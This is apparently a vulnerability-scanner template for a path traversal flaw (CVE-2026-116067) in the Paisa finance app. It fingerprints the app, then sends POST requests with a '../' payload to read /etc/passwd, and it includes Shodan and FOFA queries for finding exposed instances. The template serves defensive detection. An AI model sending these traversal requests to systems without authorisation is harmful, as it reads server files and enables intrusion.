id: CVE-2026-116067 info: name: Paisa < 0.7.8 - Unauthenticated Path Traversal author: kosoyyagent severity: high description: | Paisa < 0.7.8 contains a path traversal vulnerability caused by improper sanitization of file names in GetFile, GetSheet, DeleteBackups, and DeleteSheetBackups handlers, letting unauthenticated attackers read arbitrary files and delete backups via ../ sequences. impact: | Unauthenticated attackers can read any server-readable file and delete backup files outside intended directories, risking data loss and information disclosure. remediation: | Update to version 0.7.8 or later. reference: - https://github.com/ananthakumaran/paisa/issues/420 - https://github.com/ananthakumaran/paisa/commit/035949351f7c0d0f90ecf767aa1e28b4d5a0ae31 - https://www.vulncheck.com/advisories/paisa-before-0.7.8-path-traversal-via-editor-and-sheet-api - https://nvd.nist.gov/vuln/detail/CVE-2026-116067 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-116067 epss-score: 0.01689 epss-percentile: 0.77242 cwe-id: CWE-22 metadata: verified: true max-request: 2 vendor: ananthakumaran product: paisa shodan-query: http.title:"Paisa" fofa-query: body="Paisa is an open source personal finance manager" tags: cve,cve2026,paisa,lfi,traversal,unauth,intrusive flow: http(1) && http(2) http: - raw: - | GET /api/config HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - 'contains_any(body, "paisa.fyi/schema.json", "Paisa configuration")' condition: and internal: true - raw: - | POST /api/editor/file HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"name":"../../../../../../../../etc/passwd"} - | POST /api/sheets/file HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"name":"../../../../../../../../etc/passwd"} stop-at-first-match: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - 'contains_any(body, "root:x:0:0")' condition: and # digest: 4a0a00473045022055c9a4b6bf1e9fd5cb31c26a735ee033d3e83daa4424b29f0cb405b8c96e3360022100d8ed13ae050f8c80817279a4edfe141bc6954daf226e23b9cee9feb684f32848:922c64590222798bb761d5b6d8e72950